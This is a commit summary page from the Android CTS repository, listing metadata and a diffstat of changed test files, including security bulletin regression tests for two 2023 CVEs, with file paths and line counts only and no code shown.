summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2023-12-04 20:29:57 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2023-12-04 20:29:57 +0000
commit4a2c4ed4af3f7aa7d780812e9a811c30ae56942a (patch)
tree1dec7799ed63508d9e9233514d90b6ed446077ee
parent12e6d0f9c4b696add84232197f84551536081598 (diff)
parent12818886299cfceba9cc5f1a975790527b46d705 (diff)
downloadcts-android14-mainline-adservices-release.tar.gz
Snap for 11174750 from 12818886299cfceba9cc5f1a975790527b46d705 to mainline-adservices-releaseaml_ads_341413000android14-mainline-adservices-release
Change-Id: I6871cfa7cbae9a5e0b2b6f3c20dd75df39b88a1d
-rw-r--r--apps/CameraITS/tests/scene2_a/test_num_faces.py114
-rw-r--r--apps/CameraITS/tests/scene2_d/test_autoframing.py24
-rw-r--r--apps/CameraITS/tests/scene4/test_multi_camera_alignment.py3
-rwxr-xr-xapps/CameraITS/tools/run_all_tests.py11
-rw-r--r--apps/CameraITS/utils/opencv_processing_utils.py126
-rw-r--r--apps/CtsVerifier/AndroidManifest.xml10
-rw-r--r--apps/CtsVerifier/res/menu/test_list_menu.xml6
-rw-r--r--apps/CtsVerifier/res/values/strings.xml7
-rw-r--r--apps/CtsVerifier/res/xml/searchable.xml5
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java282
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java52
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java92
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java105
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java2
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java2
-rw-r--r--common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java3
-rw-r--r--common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java12
-rw-r--r--common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java6
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java3
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java7
-rw-r--r--common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java4
-rw-r--r--common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java6
-rw-r--r--common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java3
-rw-r--r--common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java25
-rw-r--r--common/device-side/interactive/src/main/java/com/android/interactive/Step.java35
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java5
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/PermissionUtils.java309
-rw-r--r--hostsidetests/angle/Android.bp1
-rwxr-xr-xhostsidetests/angle/app/gameDriverTest/AndroidManifest.xml38
-rw-r--r--hostsidetests/angle/app/gameDriverTest/src/com/android/angleIntegrationTest/gameDriverTest/AngleDriverTestActivity.java61
-rw-r--r--hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java23
-rw-r--r--hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java91
-rw-r--r--hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java5
-rw-r--r--hostsidetests/appsearch/Android.bp4
-rw-r--r--hostsidetests/appsecurity/Android.bp37
-rw-r--r--hostsidetests/appsecurity/AndroidTest_ApexSignatureVerificationTest.xml30
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/build.bazel.examples.apex.minimal.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.adservices.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.apex.product.test.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system.test.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system_ext.test.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.apex.vendor.test.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.appsearch.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.btservices.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.car.framework.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.cellbroadcast.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.compos.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.extservices.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.geotz.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.core_permissions.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.power.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.sensors.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.thermal.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.usb.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.vibrator.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.wifi.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.mediaprovider.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.modules.updatablesharedlibs.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.ondevicepersonalization.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.os.statsd.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.permission.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.rkpd.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.scheduling.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.uwb.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.drv2624.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.sunfish.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.virt.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.vndk.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.android.wifi.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.google.cf.apex.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/com.google.emulated.camera.provider.hal.avbpubkeybin0 -> 1032 bytes
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java40
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java2
-rw-r--r--hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java4
-rw-r--r--hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java41
-rw-r--r--hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml1
-rw-r--r--hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java10
-rw-r--r--hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/SimpleActivity.java25
-rw-r--r--hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java305
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java13
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java273
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java5
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java3
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java29
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java4
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java4
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java4
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java3
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java3
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java3
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java19
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java1
-rw-r--r--hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java4
-rw-r--r--hostsidetests/scopedstorage/Android.bp214
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE.xml52
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30.xml51
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30FileManager.xml52
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppELegacy.xml47
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppGeneralOnly.xml52
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml10
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml1
-rw-r--r--hostsidetests/scopedstorage/TEST_MAPPING18
-rw-r--r--hostsidetests/scopedstorage/bypassdatabase/AndroidManifest.xml42
-rw-r--r--hostsidetests/scopedstorage/bypassdatabase/AndroidTest.xml48
-rw-r--r--hostsidetests/scopedstorage/bypassdatabase/src/android/scopedstorage/cts/bypassdatabase/BypassDatabaseOperationsTest.java292
-rw-r--r--hostsidetests/scopedstorage/device/AndroidManifest.xml3
-rw-r--r--hostsidetests/scopedstorage/device/AndroidTest.xml5
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java94
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java5
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java27
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java1
-rw-r--r--hostsidetests/scopedstorage/general/AndroidManifest.xml42
-rw-r--r--hostsidetests/scopedstorage/general/AndroidTest.xml47
-rw-r--r--hostsidetests/scopedstorage/general/src/android/scopedstorage/cts/general/ScopedStorageDeviceTest.java3590
-rw-r--r--hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/ScopedStorageBaseDeviceTest.java (renamed from hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java)9
-rw-r--r--hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java28
-rw-r--r--hostsidetests/scopedstorage/redacturi/AndroidManifest.xml37
-rw-r--r--hostsidetests/scopedstorage/redacturi/AndroidTest.xml43
-rw-r--r--hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java586
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20944.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java48
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/Android.bp58
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/res/values/strings.xml37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/AndroidManifest.xml24
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/src/android/security/cts/CVE_2023_20944_target/TargetActivity.java35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/AndroidManifest.xml35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/res/xml/authenticator.xml19
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/DeviceTest.java126
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/HijackActivity.java22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocActivity.java108
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocAuthService.java85
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp59
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml40
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java32
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml41
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml20
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java158
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java59
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java177
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java4
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java32
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java45
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java39
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java26
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/DeviceStatePreserver.java116
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java195
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java40
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java135
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java154
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java13
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java28
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerComponentUtils.java (renamed from tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java)84
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java11
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java66
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java36
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java11
-rw-r--r--tests/accessibility/AndroidTest.xml4
-rw-r--r--tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java37
-rw-r--r--tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java36
-rw-r--r--tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java28
-rw-r--r--tests/appsearch/Android.bp6
-rw-r--r--tests/appsearch/testutils/Android.bp (renamed from hostsidetests/angle/app/gameDriverTest/Android.bp)32
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/AppSearchSessionShimImpl.java231
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/BatchResultCallbackAdapter.java41
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/FakeAppSearchConfig.java258
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/GlobalSearchSessionShimImpl.java162
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/MainlineFeaturesImpl.java86
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/SearchResultsShimImpl.java70
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/SystemUtil.java62
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/ThrowingRunnable.java23
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AlwaysSupportedFeatures.java82
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchConfigImpl.java140
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchSessionShim.java395
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/DefaultIcingOptionsConfig.java89
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/Features.java190
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/GlobalSearchSessionShim.java193
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/SearchResultsShim.java56
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/UnlimitedLimitConfig.java40
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchEmail.java217
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchTestUtils.java130
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/SimpleTestLogger.java97
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/TestObserverCallback.java133
-rw-r--r--tests/appsearch/testutils/src/android/app/appsearch/testutil/package-info.java20
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java27
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java3
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java4
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java11
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java5
-rw-r--r--tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java2
-rw-r--r--tests/framework/base/windowmanager/AndroidManifest.xml7
-rw-r--r--[-rwxr-xr-x]tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml8
-rw-r--r--tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java2
-rw-r--r--tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/PortraitActivity.java25
-rw-r--r--tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java22
-rw-r--r--tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java53
-rw-r--r--tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml3
-rw-r--r--tests/framework/base/windowmanager/res/drawable/background_image.xml31
-rw-r--r--tests/framework/base/windowmanager/res/layout/background_image.xml17
-rw-r--r--tests/framework/base/windowmanager/res/values/styles.xml1
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java46
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java3
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java5
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java2
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java14
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java46
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java5
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java11
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java6
-rw-r--r--tests/inputmethod/mocklargeresourceime/AndroidManifest.xml2
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java6
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java5
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java3
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java2
-rw-r--r--tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java6
-rw-r--r--tests/media/jni/NativeCodecEncoderSurfaceTest.cpp2
-rw-r--r--tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java16
-rw-r--r--tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java2
-rw-r--r--tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java3
-rw-r--r--tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java2
-rw-r--r--tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java6
-rw-r--r--tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java30
-rw-r--r--tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java21
-rw-r--r--tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java3
-rw-r--r--tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java31
-rw-r--r--tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt2
-rw-r--r--tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt6
-rw-r--r--tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java203
-rw-r--r--tests/tests/media/audio/res/raw/sine40dblong_44k_128kbps_LC.m4abin0 -> 1134888 bytes
-rw-r--r--tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java23
-rw-r--r--tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java7
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java40
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java25
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java9
-rw-r--r--tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt8
-rw-r--r--tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp4
-rw-r--r--tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt1
-rw-r--r--tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt12
-rw-r--r--tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt23
-rw-r--r--tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java20
-rw-r--r--tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java6
-rw-r--r--tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java35
-rw-r--r--tests/tests/security/Android.bp58
